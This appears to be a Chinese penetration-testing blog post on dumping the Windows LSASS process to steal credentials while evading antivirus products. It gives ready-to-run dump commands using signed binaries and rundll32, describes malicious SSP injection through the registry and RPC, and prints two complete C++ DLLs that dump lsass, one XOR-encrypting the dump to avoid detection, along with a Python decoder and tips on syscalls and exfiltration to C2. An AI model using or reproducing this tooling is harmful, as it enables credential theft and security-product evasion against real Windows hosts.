Posts 一些Dump Lsass的方法
Post
Cancel

一些Dump Lsass的方法

获取Windows用户的凭证信息是渗透过程中至关重要的一步,与杀软的对抗也在不断升级

本文对常见的Dump Lsass的方法进行简单的总结,以应对实战中各种各样的场景

方法

Mimikatz直接读取Lsass

优点:

  • 方便快捷

缺点:

  • mimikatz必须免杀
  • 无法绕过部分AV对lsass的监控

经典姿势,使用mimikatz的sekurlsa::logonpasswords

其实是调用ReadProcessMemory来将lsass进程读入内存中的另一个地址中,然后对进程进行解析:

1615120871704.png

签名/白名单文件Dump

优点:

  • 程序拥有合法签名
  • 远程Dump后下载到本地离线解析,减少特征

缺点:

  • 虽然有签名但部分AV仍会发出警告
  • 无法绕过部分AV对lsass的监控
  • dump得到的内存转储文件可能触发报警

主要有以下几个程序:

  1. Procdump.exe
  2. SqlDumper.exe
  3. AvDump.exe
  4. createdump.exe
  5. rundll32.exe

其中1、2、4这三个工具是有微软签名的,3是有杀软厂商Avast的签名,rundll32这个LOLBIN就不用说了

前两个工具的用法已经是老生常谈了,网上也有很多文章,主要讨论后三个

PS:注意使用这些工具的时候最好是system权限,如果是administrator的话要注意是否有SeDebugPrivilege,如果没有的话可以在命令前使用powershell -c

AvDump.exe

AvDump.exe是杀软Avast自带的一个程序,该程序可以用来dump进程的内存,拥有Avast的签名

.\AvDump.exe --pid <lsass pid> --exception_ptr 0 --thread_id 0 --dump_level 1 --dump_file C:\Users\admin\Desktop\lsass.dmp --min_interval 0

1615122973287.png

CreateDump.exe

createdump.exe随着.NET5出现的,本身是个native binary

虽然createdump.exe是随着.NET5出现的,但因为它是native binary,所以执行时并不需要依赖.NET5的环境

createdump.exe -u -f lsass.dmp <lsass pid>

Rundll32.exe

其实就是使用rundll32直接执行comsvcs.dll的导出函数MiniDump来Dump进程内存

rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id C:\Users\admin\Desktop\lsass-comsvcs.dmp full

1615186606282.png

利用SilentProcessExit进行Dump

优点:

  • 系统正常行为

缺点:

  • 需要写注册表

很久之前看到过让系统蓝屏,然后通过windbg调试系统崩溃文件来读取lsass进程,但个人感觉这种方法风险过大,并且产生的崩溃文件的体积非常大,在实战中的应用情况有限

直到不久前看到了一篇文章使用SilentProcessExit来使lsass静默退出,进而dump进程内存的方法,具体原理可以看文章:

利用SilentProcessExit机制dump内存

Silent Process Exit,即静默退出。而这种调试技术,可以派生 werfault.exe进程,可以用来运行任意程序或者也可以用来转存任意进程的内存文件或弹出窗口。

实际测试中,该方法确实可以dump lsass的进程内存

1616837248365.png

但在卡巴斯基环境下,不会报警但dump文件为0kb(猜测是卡巴拒绝系统行为转储lsass进程)

而遇到defender+360的情况下,同样不会触发报警,但该程序无法修改注册表项

添加自定义的SSP

使用MemSSP对lsass进行patch

优点:

  • 不需要重启服务器
  • Lsass进程中不会出现可疑的DLL

缺点:

  • 需要调用WriteProcessMemory对lsass进行操作,可能会被标记

该方法的大概原理是,通过打开lsass进程的句柄,然后搜索msv1_0.dll(支持交互式身份验证的DLL),找到之后对其中的SpAcceptCredentials函数进行hook,当用户进行认证时在SpAcceptCredentials函数第一行会首先jmp到我们的函数,将凭证写入文件后再跳回原函数

当我们执行后,尝试用户身份认证,可以看到密码被记录在mimilsa.txt中:

1615539817129.png

lsass的进程中并不存在异常的DLL:

1615539879531.png

使用AddSecurityPackage加载SSP

优点:

  • 可以绕过部分杀软对lsass的监控
  • 可以加载mimilib来记录密码以应对版本大于等于Windows Server 2012的情况
  • 不需要重启服务器

缺点:

  • 需要写注册表
  • 需要将SSP的dll拷贝到system32下(这个说缺点似乎也谈不上)
  • Blue Team可以通过枚举SSP来发现我们自定义的SSP,并且lsass进程中可以看到加载的DLL

SSP和SSPI的知识就不谈了,添加SSP需要以下操作:

  1. 将mimilib.dll复制到c:\windows\system32
  2. HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\处Security Packages的值设置为mimilib.dll
  3. 调用AddSecurityPackage添加SSP

相关代码可以参考:CredSSP

这里直接使用@lengyi师傅的代码,运行后会将存放在资源区的mimilib.dll释放到当前目录,然后移动到system32下,修改注册表,最终调用AddSecurityPackage添加ssp:

1615543544172.png

可以看到lsass进程加载了mimilib.dll:

1615543443051.png

通过RPC加载SSP

优点:

  • 可以绕过杀软对lsass的监控
  • 可以加载mimilib来记录密码以应对版本大于等于Windows Server 2012的情况
  • 不需要重启服务器
  • 不需要写注册表

缺点:

  • 因为没有写注册表,所以无法持久化,如果目标机器重启的话将无法记录密码(因此个人认为比较适合在Server上用,不适合在PC上用)

可以参考xpn关于mimikatz的系列文章:

exploring-mimikatz-part-1

exploring-mimikatz-part-2

原理简单的来讲就是,xpn发现AddSecurityPackage()在被调用时会使用RPC(xpn的原文中说到:这是有道理的,因为这一调用需要向lsass发出信号来表明需要加载新的SSP)

因此可以通过调试获取传递给RPC的数据,进而可以发起RPC调用,而不用使用AddSecurityPackage()这个API去调用

加载的dll可以是直接dump lsass的,也可以是加载mimilib这种记录密码的

1586158896835.png

实现

一些Dump Lsass方法or技巧的简单实现,以及实战中的一些优化

编写Dump Lsass的DLL

需要以下几步操作:

  1. 获取Debug权限
  2. 找到lsass的PID
  3. 使用MiniDump或MiniDumpWriteDump进行内存dump

这个逻辑很简单,其中获取debug权限和自动寻找lsass的PID网上也有不少的Demo,所以很好实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
#include <stdio.h>
#include <Windows.h>
#include <tlhelp32.h>

typedef HRESULT(WINAPI* _MiniDumpW)(DWORD arg1, DWORD arg2, PWCHAR cmdline);

int GetLsassPid() {

	PROCESSENTRY32 entry;
	entry.dwSize = sizeof(PROCESSENTRY32);

	HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);

	if (Process32First(hSnapshot, &entry)) {
		while (Process32Next(hSnapshot, &entry)) {
			if (wcscmp(entry.szExeFile, L"lsass.exe") == 0) {
				return entry.th32ProcessID;
			}
		}
	}

	CloseHandle(hSnapshot);
	return 0;
}

void GetDebugPrivilege()
{
	BOOL fOk = FALSE;
	HANDLE hToken;
	if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
	{
		TOKEN_PRIVILEGES tp;
		tp.PrivilegeCount = 1;
		LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
		tp.Privileges[0].Attributes = true ? SE_PRIVILEGE_ENABLED : 0;
		AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
		fOk = (GetLastError() == ERROR_SUCCESS);
		CloseHandle(hToken);
	}
}

void DumpLsass()
{
	wchar_t  ws[100];
	_MiniDumpW MiniDumpW;
	
	MiniDumpW = (_MiniDumpW)GetProcAddress(LoadLibrary(L"comsvcs.dll"), "MiniDumpW");
	swprintf(ws, 100, L"%u %hs", GetLsassPid(), "c:\\windows\\temp\\temp.bin full");

	GetDebugPrivilege();

	MiniDumpW(0, 0, ws);
}

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
		DumpLsass();
		break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

我们先拿rundll32测试一下,成功dump了lsass进程:

1616754918942.png

然后使用利用RPC加载SSP的方式来转储lsass的进程内存:

1616755907599.png

成功绕过卡巴斯基对lsass的监控

将DLL与EXE文件打包

我们在使用该方法时需要上传exe和dll,并且XPN原版的代码需要将SSP DLL的绝对路径作为参数传入,在使用时非常不方便

因此我们可以将DLL放入exe的资源节区,然后在运行时释放到程序所在目录,加载完成后再删除DLL

成功dump lsass进程的内存:

1616758943171.png

关于将文件添加到资源区并释放可以参考:C++实现第三方资源释放与载入过程(以DLL为例)

将进程dump到内存

部分AV/EDR会监控我们dump下来的进程转储文件,因此我们有时需要将进程dump到一块内存中,进行加密后再写入磁盘,或者直接通过网络进行传输

主要利用的是MiniDumpWriteDump的回调函数来实现该操作

我这里借鉴了@ired.team的代码(文章戳这里),并在内存中对进程转储数据进行与0x32的按位异或,通过编译为dll然后使用rundll32加载

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
// dllmain.cpp : Defines the entry point for the DLL application.
#include "pch.h"
#include <windows.h>
#include <DbgHelp.h>
#include <iostream>
#include <TlHelp32.h>
#include <processsnapshot.h>
#pragma comment (lib, "Dbghelp.lib")

LPVOID dumpBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 1024 * 1024 * 75);
DWORD bytesRead = 0;

int GetLsassPid() {

	PROCESSENTRY32 entry;
	entry.dwSize = sizeof(PROCESSENTRY32);

	HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);

	if (Process32First(hSnapshot, &entry)) {
		while (Process32Next(hSnapshot, &entry)) {
			if (wcscmp(entry.szExeFile, L"lsass.exe") == 0) {
				return entry.th32ProcessID;
			}
		}
	}

	CloseHandle(hSnapshot);
	return 0;
}

void GetDebugPrivilege()
{
	BOOL fOk = FALSE;
	HANDLE hToken;
	if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
	{
		TOKEN_PRIVILEGES tp;
		tp.PrivilegeCount = 1;
		LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
		tp.Privileges[0].Attributes = true ? SE_PRIVILEGE_ENABLED : 0;
		AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
		fOk = (GetLastError() == ERROR_SUCCESS);
		CloseHandle(hToken);
	}
}

BOOL CALLBACK minidumpCallback(
	__in     PVOID callbackParam,
	__in     const PMINIDUMP_CALLBACK_INPUT callbackInput,
	__inout  PMINIDUMP_CALLBACK_OUTPUT callbackOutput
)
{
	LPVOID destination = 0, source = 0;
	DWORD bufferSize = 0;

	switch (callbackInput->CallbackType)
	{
	case IoStartCallback:
		callbackOutput->Status = S_FALSE;
		break;

		// Gets called for each lsass process memory read operation
	case IoWriteAllCallback:
		callbackOutput->Status = S_OK;

		// A chunk of minidump data that's been jus read from lsass. 
		// This is the data that would eventually end up in the .dmp file on the disk, but we now have access to it in memory, so we can do whatever we want with it.
		// We will simply save it to dumpBuffer.
		source = callbackInput->Io.Buffer;

		// Calculate location of where we want to store this part of the dump.
		// Destination is start of our dumpBuffer + the offset of the minidump data
		destination = (LPVOID)((DWORD_PTR)dumpBuffer + (DWORD_PTR)callbackInput->Io.Offset);

		// Size of the chunk of minidump that's just been read.
		bufferSize = callbackInput->Io.BufferBytes;
		bytesRead += bufferSize;

		RtlCopyMemory(destination, source, bufferSize);

		break;

	case IoFinishCallback:
		callbackOutput->Status = S_OK;
		break;

	default:
		return true;
	}
	return TRUE;
}

void DumpLsass()
{
	DWORD lsassPID = GetLsassPid();
	DWORD bytesWritten = 0;
	
	// Set up minidump callback
	MINIDUMP_CALLBACK_INFORMATION callbackInfo;
	ZeroMemory(&callbackInfo, sizeof(MINIDUMP_CALLBACK_INFORMATION));
	callbackInfo.CallbackRoutine = &minidumpCallback;
	callbackInfo.CallbackParam = NULL;

	GetDebugPrivilege();

	HANDLE lsassHandle = OpenProcess(PROCESS_ALL_ACCESS, 0, lsassPID);
	// Dump lsass
	BOOL isDumped = MiniDumpWriteDump(lsassHandle, lsassPID, NULL, MiniDumpWithFullMemory, NULL, NULL, &callbackInfo);

	for (DWORD i = 0; i < bytesRead; i++)
	{
		*((BYTE*)dumpBuffer + i) ^= 0x32;
	}

	// At this point, we have the lsass dump in memory at location dumpBuffer - we can do whatever we want with that buffer, i.e encrypt & exfiltrate
	HANDLE outFile = CreateFile(L"c:\\temp\\temp.bin", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

	// For testing purposes, let's write lsass dump to disk from our own dumpBuffer and check if mimikatz can work it
	WriteFile(outFile, dumpBuffer, bytesRead, &bytesWritten, NULL);
}

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
		DumpLsass();
		break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

最终得到的temp.bin如下,左边是使用procdump得到的未加密的进程转储文件:

1616817526986.png

我们可以编写一个python脚本来将文件解密回来

1
2
3
4
5
6
7
with open("C:\\Temp\\temp.bin", "rb") as f1:
    with open("C:\\Temp\\temp2.bin", "ab") as f2:
        data = f1.read()
        print(len(data))
        for i in range(len(data)):
            newData = 0x32 ^ data[i]
            f2.write(bytes([newData]))

可以使用mimikatz成功读取:

1616822961994.png

x86环境下利用RPC加载SSP

TODO

其它可能用到的优化思路

  1. Dump进程的敏感API通过动态调用/API Hashing技术来规避静态检测
  2. 编写自己的dump函数,部分敏感API使用Direct Syscall
  3. 与C2结合,dump的文件/读取的hash直接回传

可能遇到的问题

缺少VC运行库

在某次授权渗透测试中,出现目标机器缺失VC运行库的问题:

1616809807665.png

设置项目为静态链接程序所需要的运行库即可,如下图所示:

1616809813700.png

成功运行,目标环境中存在卡巴斯基EDR,最终成功dump lsass

1616809818506.png

dump文件体积过大

有时我们可能会打到不出网的服务器,而此时我们又没有稳定的代理(Regeorg这些速度太慢),仅仅有一个webshell来下载大于30M的文件是十分不稳定的

个人一般的思路就是:

  • 免杀mimikatz或提取sekurlsa模块,将工具传上去读
  • 上传7z.exe&&7z.dll,将文件进行分卷压缩再下载

也想过直接把读取的功能写入SSP DLL里,然后结果输出到磁盘,但还未进行尝试,先算作一种思路吧

总结

  • 无杀软随便玩,直接mimikatz上去读就是
  • 无监控lsass的AV/EDR,可以通过免杀mimikatz进行直接读取,也可以使用白名单程序进行dump(需要注意部分杀软会对白名单程序报警)
  • 如果是卡巴这种监控lsass的,最好是使用加载SSP的方式,优缺点参考前面的,可以根据不同情况使用不同的方法
This post is licensed under CC BY 4.0 by the author.